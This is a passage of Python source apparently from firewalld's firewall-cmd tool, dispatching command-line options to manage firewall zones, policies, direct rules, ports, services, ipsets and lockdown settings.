"%s") elif a.query_lockdown_whitelist_user: cmd.query_sequence(a.query_lockdown_whitelist_user, policies.queryLockdownWhitelistUser, None, "'%s'") elif options_direct: direct = fw.config().direct() if a.passthrough: if len(a.passthrough) < 2: cmd.fail("usage: --permanent --direct --passthrough { ipv4 | ipv6 | eb } <args>") cmd.print_msg(direct.addPassthrough(cmd.check_ipv(a.passthrough[0]), splitArgs(a.passthrough[1]))) if a.add_passthrough: if len(a.add_passthrough) < 2: cmd.fail("usage: --permanent --direct --add-passthrough { ipv4 | ipv6 | eb } <args>") cmd.print_msg(direct.addPassthrough(cmd.check_ipv(a.add_passthrough[0]), splitArgs(a.add_passthrough[1]))) elif a.remove_passthrough: if len(a.remove_passthrough) < 2: cmd.fail("usage: --permanent --direct --remove-passthrough { ipv4 | ipv6 | eb } <args>") direct.removePassthrough(cmd.check_ipv(a.remove_passthrough[0]), splitArgs(a.remove_passthrough[1])) elif a.query_passthrough: if len(a.query_passthrough) < 2: cmd.fail("usage: --permanent --direct --query-passthrough { ipv4 | ipv6 | eb } <args>") cmd.print_query_result( direct.queryPassthrough(cmd.check_ipv(a.query_passthrough[0]), splitArgs(a.query_passthrough[1]))) sys.exit(0) elif a.get_passthroughs: rules = direct.getPassthroughs(cmd.check_ipv(a.get_passthroughs[0])) for rule in rules: cmd.print_msg(joinArgs(rule)) sys.exit(0) elif a.get_all_passthroughs: for (ipv, rule) in direct.getAllPassthroughs(): cmd.print_msg("%s %s" % (ipv, joinArgs(rule))) sys.exit(0) elif a.add_chain: direct.addChain(cmd.check_ipv(a.add_chain[0]), a.add_chain[1], a.add_chain[2]) elif a.remove_chain: direct.removeChain(cmd.check_ipv(a.remove_chain[0]), a.remove_chain[1], a.remove_chain[2]) elif a.query_chain: cmd.print_query_result( direct.queryChain(cmd.check_ipv(a.query_chain[0]), a.query_chain[1], a.query_chain[2])) sys.exit(0) elif a.get_chains: cmd.print_and_exit( " ".join(direct.getChains(cmd.check_ipv(a.get_chains[0]), a.get_chains[1]))) sys.exit(0) elif a.get_all_chains: chains = direct.getAllChains() for (ipv, table, chain) in chains: cmd.print_msg("%s %s %s" % (ipv, table, chain)) sys.exit(0) elif a.add_rule: if len(a.add_rule) < 5: cmd.fail("usage: --permanent --direct --add-rule { ipv4 | ipv6 | eb } <table> <chain> <priority> <args>") try: priority = int(a.add_rule[3]) except ValueError: cmd.fail("usage: --permanent --direct --add-rule { ipv4 | ipv6 | eb } <table> <chain> <priority> <args>") direct.addRule(cmd.check_ipv(a.add_rule[0]), a.add_rule[1], a.add_rule[2], priority, splitArgs(a.add_rule[4])) elif a.remove_rule: if len(a.remove_rule) < 5: cmd.fail("usage: --permanent --direct --remove-rule { ipv4 | ipv6 | eb } <table> <chain> <priority> <args>") try: priority = int(a.remove_rule[3]) except ValueError: cmd.fail("usage: --permanent --direct --remove-rule { ipv4 | ipv6 | eb } <table> <chain> <priority> <args>") direct.removeRule(cmd.check_ipv(a.remove_rule[0]), a.remove_rule[1], a.remove_rule[2], priority, splitArgs(a.remove_rule[4])) elif a.remove_rules: if len(a.remove_rules) < 3: cmd.fail("usage: --permanent --direct --remove-rules { ipv4 | ipv6 | eb } <table> <chain>") direct.removeRules(cmd.check_ipv(a.remove_rules[0]), a.remove_rules[1], a.remove_rules[2]) elif a.query_rule: if len(a.query_rule) < 5: cmd.fail("usage: --permanent --direct --query-rule { ipv4 | ipv6 | eb } <table> <chain> <priority> <args>") try: priority = int(a.query_rule[3]) except ValueError: cmd.fail("usage: --permanent --direct --query-rule { ipv4 | ipv6 | eb } <table> <chain> <priority> <args>") cmd.print_query_result( direct.queryRule(cmd.check_ipv(a.query_rule[0]), a.query_rule[1], a.query_rule[2], priority, splitArgs(a.query_rule[4]))) sys.exit(0) elif a.get_rules: rules = direct.getRules(cmd.check_ipv(a.get_rules[0]), a.get_rules[1], a.get_rules[2]) for (priority, rule) in rules: cmd.print_msg("%d %s" % (priority, joinArgs(rule))) sys.exit(0) elif a.get_all_rules: rules = direct.getAllRules() for (ipv, table, chain, priority, rule) in rules: cmd.print_msg("%s %s %s %d %s" % (ipv, table, chain, priority, joinArgs(rule))) sys.exit(0) elif a.list_all_policies: names = fw.config().getPolicyNames() for policy in sorted(names): settings = fw.config().getPolicyByName(policy).getSettings() cmd.print_policy_info(policy, settings) cmd.print_msg("") sys.exit(0) elif a.policy: fw_policy = fw.config().getPolicyByName(a.policy) settings = fw_policy.getSettings() # list all policy settings if a.list_all: cmd.print_policy_info(a.policy, settings) sys.exit(0) # ingress zones elif a.list_ingress_zones: l = settings.getIngressZones() cmd.print_and_exit(" ".join(sorted(l))) elif a.add_ingress_zone: cmd.add_sequence(a.add_ingress_zone, settings.addIngressZone, settings.queryIngressZone, None, "'%s'") elif a.remove_ingress_zone: cmd.remove_sequence(a.remove_ingress_zone, settings.removeIngressZone, settings.queryIngressZone, None, "'%s'") elif a.query_ingress_zone: cmd.query_sequence(a.query_ingress_zone, settings.queryIngressZone, None, "'%s'") # egress zones elif a.list_egress_zones: l = settings.getEgressZones() cmd.print_and_exit(" ".join(sorted(l))) elif a.add_egress_zone: cmd.add_sequence(a.add_egress_zone, settings.addEgressZone, settings.queryEgressZone, None, "'%s'") elif a.remove_egress_zone: cmd.remove_sequence(a.remove_egress_zone, settings.removeEgressZone, settings.queryEgressZone, None, "'%s'") elif a.query_egress_zone: cmd.query_sequence(a.query_egress_zone, settings.queryEgressZone, None, "'%s'") # priority elif a.get_priority: cmd.print_and_exit(str(settings.getPriority())) elif a.set_priority: settings.setPriority(a.set_priority) # rich rules elif a.list_rich_rules: l = settings.getRichRules() cmd.print_and_exit("\n".join(l)) elif a.add_rich_rule: cmd.add_sequence(a.add_rich_rule, settings.addRichRule, settings.queryRichRule, None, "'%s'") elif a.remove_rich_rule: cmd.remove_sequence(a.remove_rich_rule, settings.removeRichRule, settings.queryRichRule, None, "'%s'") elif a.query_rich_rule: cmd.query_sequence(a.query_rich_rule, settings.queryRichRule, None, "'%s'") # service elif a.list_services: l = settings.getServices() cmd.print_and_exit(" ".join(sorted(l))) elif a.add_service: cmd.add_sequence(a.add_service, settings.addService, settings.queryService, None, "'%s'") elif a.remove_service: cmd.remove_sequence(a.remove_service, settings.removeService, settings.queryService, None, "'%s'") elif a.query_service: cmd.query_sequence(a.query_service, settings.queryService, None, "'%s'") # port elif a.list_ports: l = settings.getPorts() cmd.print_and_exit(" ".join(["%s/%s" % (port[0], port[1]) for port in sorted(l, key=lambda x: (x[1], getPortRange(x[0])[0]))])) elif a.add_port: cmd.add_sequence(a.add_port, settings.addPort, settings.queryPort, cmd.parse_port, "%s/%s") elif a.remove_port: cmd.remove_sequence(a.remove_port, settings.removePort, settings.queryPort, cmd.parse_port, "%s/%s") elif a.query_port: cmd.query_sequence(a.query_port, settings.queryPort, cmd.parse_port, "%s/%s") # protocol elif a.list_protocols: l = settings.getProtocols() cmd.print_and_exit(" ".join(["%s" % protocol for protocol in sorted(l)])) elif a.add_protocol: cmd.add_sequence(a.add_protocol, settings.addProtocol, settings.queryProtocol, None, "'%s'") elif a.remove_protocol: cmd.remove_sequence(a.remove_protocol, settings.removeProtocol, settings.queryProtocol, None, "'%s'") elif a.query_protocol: cmd.query_sequence(a.query_protocol, settings.queryProtocol, None, "'%s'") # source port elif a.list_source_ports: l = settings.getSourcePorts() cmd.print_and_exit(" ".join(["%s/%s" % (port[0], port[1]) for port in sorted(l, key=lambda x: (x[1], getPortRange(x[0])[0]))])) elif a.add_source_port: cmd.add_sequence(a.add_source_port, settings.addSourcePort, settings.querySourcePort, cmd.parse_port, "%s/%s") elif a.remove_source_port: cmd.remove_sequence(a.remove_source_port, settings.removeSourcePort, settings.querySourcePort, cmd.parse_port, "%s/%s") elif a.query_source_port: cmd.query_sequence(a.query_source_port, settings.querySourcePort, cmd.parse_port, "%s/%s") # masquerade elif a.add_masquerade: settings.addMasquerade() elif a.remove_masquerade: settings.removeMasquerade() elif a.query_masquerade: cmd.print_query_result(settings.queryMasquerade()) # forward port elif a.list_forward_ports: l = settings.getForwardPorts() cmd.print_and_exit("\n".join(["port=%s:proto=%s:toport=%s:toaddr=%s" % (port, protocol, toport, toaddr) for (port, protocol, toport, toaddr) in l])) elif a.add_forward_port: cmd.add_sequence(a.add_forward_port, settings.addForwardPort, settings.queryForwardPort, cmd.parse_forward_port, "port=%s:proto=%s:toport=%s:toaddr=%s") elif a.remove_forward_port: cmd.remove_sequence(a.remove_forward_port, settings.removeForwardPort, settings.queryForwardPort, cmd.parse_forward_port, "port=%s:proto=%s:toport=%s:toaddr=%s") elif a.query_forward_port: cmd.query_sequence(a.query_forward_port, settings.queryForwardPort, cmd.parse_forward_port, "port=%s:proto=%s:toport=%s:toaddr=%s") # block icmp elif a.list_icmp_blocks: l = settings.getIcmpBlocks() cmd.print_and_exit(" ".join(l)) elif a.add_icmp_block: cmd.add_sequence(a.add_icmp_block, settings.addIcmpBlock, settings.queryIcmpBlock, None, "'%s'") elif a.remove_icmp_block: cmd.remove_sequence(a.remove_icmp_block, settings.removeIcmpBlock, settings.queryIcmpBlock, None, "'%s'") elif a.query_icmp_block: cmd.query_sequence(a.query_icmp_block, settings.queryIcmpBlock, None, "'%s'") # target elif a.get_target: target = settings.getTarget() cmd.print_and_exit(target) elif a.set_target: settings.setTarget(a.set_target) # set description elif a.set_description: settings = fw.config().getPolicyByName(a.policy).getSettings() settings.setDescription(a.set_description) # get description elif a.get_description: settings = fw.config().getPolicyByName(a.policy).getSettings() cmd.print_and_exit(settings.getDescription()) # set short description elif a.set_short: settings = fw.config().getPolicyByName(a.policy).getSettings() settings.setShort(a.set_short) # get short description elif a.get_short: settings = fw.config().getPolicyByName(a.policy).getSettings() cmd.print_and_exit(settings.getShort()) fw_policy.update(settings) else: if zone == "": zone = fw.getDefaultZone() fw_zone = fw.config().getZoneByName(zone) # interface if a.list_interfaces: interfaces = sorted(set(try_nm_get_interfaces_in_zone(zone)) | set(fw_zone.getInterfaces())) cmd.print_and_exit(" ".join(interfaces)) elif a.get_zone_of_interface: for interface in a.get_zone_of_interface: # ask NM before checking our config zone = try_get_zone_of_interface(interface) if not zone: zone = fw.config().getZoneOfInterface(interface) if zone: if len(a.get_zone_of_interface) > 1: cmd.print_warning("%s: %s" % (interface, zone)) else: cmd.print_and_exit(zone) else: if len(a.get_zone_of_interface) > 1: cmd.print_warning("%s: no zone" % interface) else: cmd.fail("no zone") elif a.change_interface: interfaces = [ ] for interface in a.change_interface: if not try_set_zone_of_interface(zone, interface): interfaces.append(interface) for interface in interfaces: old_zone_name = fw.config().getZoneOfInterface(interface) if old_zone_name != zone: if old_zone_name: old_zone_obj = fw.config().getZoneByName(old_zone_name) old_zone_obj.removeInterface(interface)# remove from old fw_zone.addInterface(interface) # add to new elif a.add_interface: interfaces = [ ] for interface in a.add_interface: if not try_set_zone_of_interface(a.zone, interface): interfaces.append(interface) cmd.add_sequence(interfaces, fw_zone.addInterface, fw_zone.queryInterface, None, "'%s'") elif a.remove_interface: interfaces = [ ] for interface in a.remove_interface: if not try_set_zone_of_interface("", interface): interfaces.append(interface) cmd.remove_sequence(interfaces, fw_zone.removeInterface, fw_zone.queryInterface, None, "'%s'") elif a.query_interface: cmd.query_sequence(a.query_interface, fw_zone.queryInterface, None, "'%s'") # source if a.list_sources: sources = fw_zone.getSources() cmd.print_and_exit(" ".join(sources)) elif a.get_zone_of_source: for source in a.get_zone_of_source: zone = fw.config().getZoneOfSource(source) if zone: if len(a.get_zone_of_source) > 1: cmd.print_warning("%s: %s" % (source, zone)) else: cmd.print_and_exit(zone) else: if len(a.get_zone_of_source) > 1: cmd.print_warning("%s: no zone" % source) else: cmd.fail("no zone") elif a.change_source: for source in a.change_source: old_zone_name = fw.config().getZoneOfSource(source) if old_zone_name != zone: if old_zone_name: old_zone_obj = fw.config().getZoneByName(old_zone_name) old_zone_obj.removeSource(source) # remove from old fw_zone.addSource(source) # add to new elif a.add_source: cmd.add_sequence(a.add_source, fw_zone.addSource, fw_zone.querySource, None, "'%s'") elif a.remove_source: cmd.remove_sequence(a.remove_source, fw_zone.removeSource, fw_zone.querySource, None, "'%s'") elif a.query_source: cmd.query_sequence(a.query_source, fw_zone.querySource, None, "'%s'") # rich rules if a.list_rich_rules: l = fw_zone.getRichRules() cmd.print_and_exit("\n".join(l)) elif a.add_rich_rule: cmd.add_sequence(a.add_rich_rule, fw_zone.addRichRule, fw_zone.queryRichRule, None, "'%s'") elif a.remove_rich_rule: cmd.remove_sequence(a.remove_rich_rule, fw_zone.removeRichRule, fw_zone.queryRichRule, None, "'%s'") elif a.query_rich_rule: cmd.query_sequence(a.query_rich_rule, fw_zone.queryRichRule, None, "'%s'") # service if a.list_services: l = fw_zone.getServices() cmd.print_and_exit(" ".join(sorted(l))) elif a.add_service: cmd.add_sequence(a.add_service, fw_zone.addService, fw_zone.queryService, None, "'%s'") elif a.remove_service: cmd.remove_sequence(a.remove_service, fw_zone.removeService, fw_zone.queryService, None, "'%s'") elif a.query_service: cmd.query_sequence(a.query_service, fw_zone.queryService, None, "'%s'") # port elif a.list_ports: l = fw_zone.getPorts() cmd.print_and_exit(" ".join(["%s/%s" % (port[0], port[1]) for port in sorted(l, key=lambda x: (x[1], getPortRange(x[0])[0]))])) elif a.add_port: cmd.add_sequence(a.add_port, fw_zone.addPort, fw_zone.queryPort, cmd.parse_port, "%s/%s") elif a.remove_port: cmd.remove_sequence(a.remove_port, fw_zone.removePort, fw_zone.queryPort, cmd.parse_port, "%s/%s") elif a.query_port: cmd.query_sequence(a.query_port, fw_zone.queryPort, cmd.parse_port, "%s/%s") # protocol elif a.list_protocols: l = fw_zone.getProtocols() cmd.print_and_exit(" ".join(["%s" % protocol for protocol in sorted(l)])) elif a.add_protocol: cmd.add_sequence(a.add_protocol, fw_zone.addProtocol, fw_zone.queryProtocol, None, "'%s'") elif a.remove_protocol: cmd.remove_sequence(a.remove_protocol, fw_zone.removeProtocol, fw_zone.queryProtocol, None, "'%s'") elif a.query_protocol: cmd.query_sequence(a.query_protocol, fw_zone.queryProtocol, None, "'%s'") # source port elif a.list_source_ports: l = fw_zone.getSourcePorts() cmd.print_and_exit(" ".join(["%s/%s" % (port[0], port[1]) for port in sorted(l, key=lambda x: (x[1], getPortRange(x[0])[0]))])) elif a.add_source_port: cmd.add_sequence(a.add_source_port, fw_zone.addSourcePort, fw_zone.querySourcePort, cmd.parse_port, "%s/%s") elif a.remove_source_port: cmd.remove_sequence(a.remove_source_port, fw_zone.removeSourcePort, fw_zone.querySourcePort, cmd.parse_port, "%s/%s") elif a.query_source_port: cmd.query_sequence(a.query_source_port, fw_zone.querySourcePort, cmd.parse_port, "%s/%s") # forward elif a.add_forward: fw_zone.addForward() elif a.remove_forward: fw_zone.removeForward() elif a.query_forward: cmd.print_query_result(fw_zone.queryForward()) # masquerade elif a.add_masquerade: fw_zone.addMasquerade() elif a.remove_masquerade: fw_zone.removeMasquerade() elif a.query_masquerade: cmd.print_query_result(fw_zone.queryMasquerade()) # forward port elif a.list_forward_ports: l = fw_zone.getForwardPorts() cmd.print_and_exit("\n".join(["port=%s:proto=%s:toport=%s:toaddr=%s" % (port, protocol, toport, toaddr) for (port, protocol, toport, toaddr) in l])) elif a.add_forward_port: cmd.add_sequence(a.add_forward_port, fw_zone.addForwardPort, fw_zone.queryForwardPort, cmd.parse_forward_port, "port=%s:proto=%s:toport=%s:toaddr=%s") elif a.remove_forward_port: cmd.remove_sequence(a.remove_forward_port, fw_zone.removeForwardPort, fw_zone.queryForwardPort, cmd.parse_forward_port, "port=%s:proto=%s:toport=%s:toaddr=%s") elif a.query_forward_port: cmd.query_sequence(a.query_forward_port, fw_zone.queryForwardPort, cmd.parse_forward_port, "port=%s:proto=%s:toport=%s:toaddr=%s") # block icmp elif a.list_icmp_blocks: l = fw_zone.getIcmpBlocks() cmd.print_and_exit(" ".join(l)) elif a.add_icmp_block: cmd.add_sequence(a.add_icmp_block, fw_zone.addIcmpBlock, fw_zone.queryIcmpBlock, None, "'%s'") elif a.remove_icmp_block: cmd.remove_sequence(a.remove_icmp_block, fw_zone.removeIcmpBlock, fw_zone.queryIcmpBlock, None, "'%s'") elif a.query_icmp_block: cmd.query_sequence(a.query_icmp_block, fw_zone.queryIcmpBlock, None, "'%s'") # icmp block inversion elif a.add_icmp_block_inversion: fw_zone.addIcmpBlockInversion() elif a.remove_icmp_block_inversion: fw_zone.removeIcmpBlockInversion() elif a.query_icmp_block_inversion: cmd.print_query_result(fw_zone.queryIcmpBlockInversion()) # zone target elif a.get_target: target = fw_zone.getTarget() cmd.print_and_exit(target if target != "%%REJECT%%" else "REJECT") elif a.set_target: fw_zone.setTarget(a.set_target if a.set_target != "REJECT" else "%%REJECT%%") # list all zone settings elif a.list_all: interfaces = try_nm_get_interfaces_in_zone(zone) cmd.print_zone_info(zone, fw_zone.getSettings(), extra_interfaces=interfaces) sys.exit(0) # list everything elif a.list_all_zones: names = fw.config().getZoneNames() for zone in sorted(names): interfaces = try_nm_get_interfaces_in_zone(zone) settings = fw.config().getZoneByName(zone).getSettings() cmd.print_zone_info(zone, settings, extra_interfaces=interfaces) cmd.print_msg("") sys.exit(0) # set zone description elif a.set_description: settings = fw.config().getZoneByName(zone).getSettings() settings.setDescription(a.set_description) fw_zone.update(settings) # get zone description elif a.get_description: settings = fw.config().getZoneByName(zone).getSettings() cmd.print_and_exit(settings.getDescription()) # set zone short description elif a.set_short: settings = fw.config().getZoneByName(zone).getSettings() settings.setShort(a.set_short) fw_zone.update(settings) # get zone short description elif a.get_short: settings = fw.config().getZoneByName(zone).getSettings() cmd.print_and_exit(settings.getShort()) elif a.version: cmd.print_and_exit(fw.get_property("version")) elif a.state: state = fw.get_property("state") if state == "RUNNING": cmd.print_and_exit ("running") elif state == "FAILED": cmd.print_and_exit("failed", errors.RUNNING_BUT_FAILED) else: cmd.print_and_exit ("not running", errors.NOT_RUNNING) elif a.get_log_denied: cmd.print_and_exit(fw.getLogDenied()) elif a.set_log_denied: fw.setLogDenied(a.set_log_denied) elif a.get_automatic_helpers: cmd.print_and_exit(fw.getAutomaticHelpers()) elif a.set_automatic_helpers: fw.setAutomaticHelpers(a.set_automatic_helpers) elif a.get_ipset_types: types = fw.get_property("IPSetTypes") cmd.print_and_exit(" ".join(sorted(types))) elif a.reload: fw.reload() elif a.complete_reload: fw.complete_reload() elif a.runtime_to_permanent: fw.runtimeToPermanent() elif a.check_config: fw.checkPermanentConfig() elif a.direct: if a.passthrough: if len(a.passthrough) < 2: cmd.fail("usage: --direct --passthrough { ipv4 | ipv6 | eb } <args>") msg = fw.passthrough(cmd.check_ipv(a.passthrough[0]), splitArgs(a.passthrough[1])) if msg: sys.stdout.write(msg + "\n") elif a.add_passthrough: if len(a.add_passthrough) < 2: cmd.fail("usage: --direct --add-passthrough { ipv4 | ipv6 | eb } <args>") fw.addPassthrough(cmd.check_ipv(a.add_passthrough[0]), splitArgs(a.add_passthrough[1])) elif a.remove_passthrough: if len(a.remove_passthrough) < 2: cmd.fail("usage: --direct --remove-passthrough { ipv4 | ipv6 | eb } <args>") fw.removePassthrough(cmd.check_ipv(a.remove_passthrough[0]), splitArgs(a.remove_passthrough[1])) elif a.query_passthrough: if len(a.query_passthrough) < 2: cmd.fail("usage: --direct --query-passthrough { ipv4 | ipv6 | eb } <args>") cmd.print_query_result( fw.queryPassthrough(cmd.check_ipv(a.query_passthrough[0]), splitArgs(a.query_passthrough[1]))) elif a.get_passthroughs: rules = fw.getPassthroughs(cmd.check_ipv(a.get_passthroughs[0])) for rule in rules: cmd.print_msg(joinArgs(rule)) sys.exit(0) elif a.get_all_passthroughs: for (ipv, rule) in fw.getAllPassthroughs(): cmd.print_msg("%s %s" % (ipv, joinArgs(rule))) sys.exit(0) elif a.add_chain: fw.addChain(cmd.check_ipv(a.add_chain[0]), a.add_chain[1], a.add_chain[2]) elif a.remove_chain: fw.removeChain(cmd.check_ipv(a.remove_chain[0]), a.remove_chain[1], a.remove_chain[2]) elif a.query_chain: cmd.print_query_result(fw.queryChain(cmd.check_ipv(a.query_chain[0]), a.query_chain[1], a.query_chain[2])) elif a.get_chains: cmd.print_and_exit(" ".join(fw.getChains(cmd.check_ipv(a.get_chains[0]), a.get_chains[1]))) elif a.get_all_chains: chains = fw.getAllChains() for (ipv, table, chain) in chains: cmd.print_msg("%s %s %s" % (ipv, table, chain)) sys.exit(0) elif a.add_rule: if len(a.add_rule) < 5: cmd.fail("usage: --direct --add-rule { ipv4 | ipv6 | eb } <table> <chain> <priority> <args>") try: priority = int(a.add_rule[3]) except ValueError: cmd.fail("usage: --direct --add-rule { ipv4 | ipv6 | eb } <table> <chain> <priority> <args>") fw.addRule(cmd.check_ipv(a.add_rule[0]), a.add_rule[1], a.add_rule[2], priority, splitArgs(a.add_rule[4])) elif a.remove_rule: if len(a.remove_rule) < 5: cmd.fail("usage: --direct --remove-rule { ipv4 | ipv6 | eb } <table> <chain> <priority> <args>") try: priority = int(a.remove_rule[3]) except ValueError: cmd.fail("usage: --direct --remove-rule { ipv4 | ipv6 | eb } <table> <chain> <priority> <args>") fw.removeRule(cmd.check_ipv(a.remove_rule[0]), a.remove_rule[1], a.remove_rule[2], priority, splitArgs(a.remove_rule[4])) elif a.remove_rules: if len(a.remove_rules) < 3: cmd.fail("usage: --direct --remove-rules { ipv4 | ipv6 | eb } <table> <chain>") fw.removeRules(cmd.check_ipv(a.remove_rules[0]), a.remove_rules[1], a.remove_rules[2]) elif a.query_rule: if len(a.query_rule) < 5: cmd.fail("usage: --direct --query-rule { ipv4 | ipv6 | eb } <table> <chain> <priority> <args>") try: priority = int(a.query_rule[3]) except ValueError: cmd.fail("usage: --direct --query-rule { ipv4 | ipv6 | eb } <table> <chain> <priority> <args>") cmd.print_query_result( fw.queryRule(cmd.check_ipv(a.query_rule[0]), a.query_rule[1], a.query_rule[2], priority, splitArgs(a.query_rule[4]))) elif a.get_rules: rules = fw.getRules(cmd.check_ipv(a.get_rules[0]), a.get_rules[1], a.get_rules[2]) for (priority, rule) in rules: cmd.print_msg("%d %s" % (priority, joinArgs(rule))) sys.exit(0) elif a.get_all_rules: rules = fw.getAllRules() for (ipv, table, chain, priority, rule) in rules: cmd.print_msg("%s %s %s %d %s" % (ipv, table, chain, priority, joinArgs(rule))) sys.exit(0) elif a.get_default_zone: cmd.print_and_exit(fw.getDefaultZone()) elif a.set_default_zone: fw.setDefaultZone(a.set_default_zone) elif a.get_zones: cmd.print_and_exit(" ".join(fw.getZones())) elif a.get_active_zones: zones = fw.getActiveZones() for zone in zones: cmd.print_msg("%s" % zone) for x in [ "interfaces", "sources" ]: if x in zones[zone]: cmd.print_msg(" %s: %s" % (x, " ".join(zones[zone][x]))) sys.exit(0) elif a.get_policies: cmd.print_and_exit(" ".join(fw.getPolicies())) elif a.get_active_policies: policies = fw.getActivePolicies() for policy in policies: cmd.print_msg("%s" % policy) for x in [ "ingress_zones", "egress_zones" ]: if x in policies[policy]: cmd.print_msg(" %s: %s" % (x.replace("_", "-"), " ".join(policies[policy][x]))) sys.exit(0) elif a.get_services: l = fw.listServices() cmd.print_and_exit(" ".join(l)) elif a.get_icmptypes: l = fw.listIcmpTypes() cmd.print_and_exit(" ".join(l)) # panic elif a.panic_on: fw.enablePanicMode() elif a.panic_off: fw.disablePanicMode() elif a.query_panic: cmd.print_query_result(fw.queryPanicMode()) # ipset elif a.get_ipsets: ipsets = fw.getIPSets() cmd.print_and_exit(" ".join(sorted(ipsets))) elif a.info_ipset: cmd.print_ipset_info(a.info_ipset, fw.getIPSetSettings(a.info_ipset)) sys.exit(0) elif a.add_entry: cmd.x_add_sequence(a.ipset, a.add_entry, fw.addEntry, fw.queryEntry, None, "'%s'") elif a.remove_entry: cmd.x_remove_sequence(a.ipset, a.remove_entry, fw.removeEntry, fw.queryEntry, None, "'%s'") elif a.query_entry: cmd.x_query_sequence(a.ipset, a.query_entry, fw.queryEntry, None, "'%s'") elif a.get_entries: l = fw.getEntries(a.ipset) cmd.print_and_exit("\n".join(l)) elif a.add_entries_from_file: old_entries = fw.getEntries(a.ipset) changed = False for filename in a.add_entries_from_file: try: entries = cmd.get_ipset_entries_from_file(filename) except IOError as msg: message = "Failed to read file '%s': %s" % (filename, msg) if len(a.add_entries_from_file) > 1: cmd.print_warning(message) else: cmd.print_and_exit(message) else: entries_set = set() for entry in old_entries: entries_set.add(entry) for entry in entries: if entry not in entries_set: old_entries.append(entry) entries_set.add(entry) changed = True else: cmd.print_if_verbose("Warning: ALREADY_ENABLED: %s" % entry) if changed: fw.setEntries(a.ipset, old_entries) elif a.remove_entries_from_file: old_entries = fw.getEntries(a.ipset) changed = False for filename in a.remove_entries_from_file: try: entries = cmd.get_ipset_entries_from_file(filename) except IOError as msg: message = "Failed to read file '%s': %s" % (filename, msg) if len(a.remove_entries_from_file) > 1: cmd.print_warning(message) else: cmd.print_and_exit(message) else: entries_set = set() for entry in old_entries: entries_set.add(entry) for entry in entries: if entry in entries_set: old_entries.remove(entry) entries_set.discard(entry) changed = True else: cmd.print_if_verbose("Warning: NOT_ENABLED: %s" % entry) if changed: fw.setEntries(a.ipset, old_entries) # helper elif a.get_helpers: helpers = fw.getHelpers() cmd.print_and_exit(" ".join(sorted(helpers))) elif a.info_helper: cmd.print_helper_info(a.info_helper, fw.getHelperSettings(a.info_helper)) sys.exit(0) # lockdown elif a.lockdown_on: fw.config().set_property("Lockdown", "yes") # permanent fw.enableLockdown() # runtime elif a.lockdown_off: fw.config().set_property("Lockdown", "no") # permanent fw.disableLockdown() # runtime elif a.query_lockdown: cmd.print_query_result(fw.queryLockdown()) # runtime #lockdown = fw.config().get_property("Lockdown") #cmd.print_query_result(lockdown.lower() in [ "yes", "true" ]) # lockdown whitelist # commands elif a.list_lockdown_whitelist_commands: l = fw.getLockdownWhitelistCommands() cmd.print_and_exit("\n".join(l)) elif a.add_lockdown_whitelist_command: cmd.add_sequence(a.add_lockdown_whitelist_command, fw.addLockdownWhitelistCommand, fw.queryLockdownWhitelistCommand, None, "'%s'") elif a.remove_lockdown_whitelist_command: cmd.remove_sequence(a.remove_lockdown_whitelist_command, fw.removeLockdownWhitelistCommand, fw.queryLockdownWhitelistCommand, None, "'%s'") elif a.query_lockdown_whitelist_command: cmd.query_sequence(a.query_lockdown_whitelist_command, fw.queryLockdownWhitelistCommand, None, "'%s'") # contexts elif a.list_lockdown_whitelist_contexts: l = fw.getLockdownWhitelistContexts() cmd.print_and_exit("\n".join(l)) elif a.add_lockdown_whitelist_context: cmd.add_sequence(a.add_lockdown_whitelist_context, fw.addLockdownWhitelistContext, fw.queryLockdownWhitelistContext, None, "'%s'") elif a.remove_lockdown_whitelist_context: cmd.remove_sequence(a.remove_lockdown_whitelist_context, fw.removeLockdownWhitelistContext, fw.queryLockdownWhitelistContext, None, "'%s'") elif a.query_lockdown_whitelist_context: cmd.query_sequence(a.query_lockdown_whitelist_context, fw.queryLockdownWhitelistContext, None, "'%s'") # uids elif a.list_lockdown_whitelist_uids: l = fw.getLockdownWhitelistUids() cmd.print_and_exit(" ".join(map(str, l))) elif a.add_lockdown_whitelist_uid is not None: cmd.add_sequence(a.add_lockdown_whitelist_uid, fw.addLockdownWhitelistUid, fw.queryLockdownWhitelistUid, None, "'%s'") elif a.remove_lockdown_whitelist_uid is not None: cmd.remove_sequence(a.remove_lockdown_whitelist_uid, fw.removeLockdownWhitelistUid, fw.queryLockdownWhitelistUid, None, "'%s'") elif a.query_lockdown_whitelist_uid is not None: cmd.query_sequence(a.query_lockdown_whitelist_uid, fw.queryLockdownWhitelistUid, None, "'%s'") # users elif a.list_lockdown_whitelist_users: l = fw.getLockdownWhitelistUsers() cmd.print_and_exit(" ".join(l)) elif a.add_lockdown_whitelist_user: cmd.add_sequence(a.add_lockdown_whitelist_user, fw.addLockdownWhitelistUser, fw.queryLockdownWhitelistUser, None, "'%s'") elif a.remove_lockdown_whitelist_user: cmd.remove_sequence(a.remove_lockdown_whitelist_user, fw.removeLockdownWhitelistUser, fw.queryLockdownWhitelistUser, None, "'%s'") elif a.query_lockdown_whitelist_user: cmd.query_sequence(a.query_lockdown_whitelist_user, fw.queryLockdownWhitelistUser, None, "'%s'") # interface elif a.list_interfaces: l = fw.getInterfaces(zone) cmd.print_and_exit(" ".join(l)) elif a.get_zone_of_interface: for interface in a.get_zone_of_interface: zone = fw.getZoneOfInterface(interface) if zone: if len(a.get_zone_of_interface) > 1: cmd.print_warning("%s: %s" % (interface, zone)) else: cmd.print_and_exit(zone) else: if len(a.get_zone_of_interface) > 1: cmd.print_warning("%s: no zone" % interface) else: cmd.fail("no zone") elif a.add_interface: interfaces = [ ] for interface in a.add_interface: interfaces.append(interface) cmd.x_add_sequence(zone, interfaces, fw.addInterface, fw.queryInterface, None, "'%s'") elif a.change_interface: interfaces = [ ] for interface in a.change_interface: interfaces.append(interface) cmd.x_add_sequence(zone, interfaces, fw.changeZoneOfInterface, fw.queryInterface, None, "'%s'") elif a.remove_interface: interfaces = [ ] for interface in a.remove_interface: interfaces.append(interface) cmd.x_remove_sequence(zone, interfaces, fw.removeInterface, fw.queryInterface, None, "'%s'") elif a.query_interface: cmd.x_query_sequence(zone, a.query_interface, fw.queryInterface, None, "'%s'") # source elif a.list_sources: sources = fw.getSources(zone) cmd.print_and_exit(" ".join(sources)) elif a.get_zone_of_source: for source in a.get_zone_of_source: zone = fw.getZoneOfSource(source) if zone: if len(a.get_zone_of_source) > 1: cmd.print_warning("%s: %s" % (source, zone)) else: cmd.print_and_exit(zone) else: if len(a.get_zone_of_source) > 1: cmd.print_warning("%s: no zone" % source) else: cmd.fail("no zone") sys.exit(0) elif a.add_source: cmd.x_add_sequence(zone, 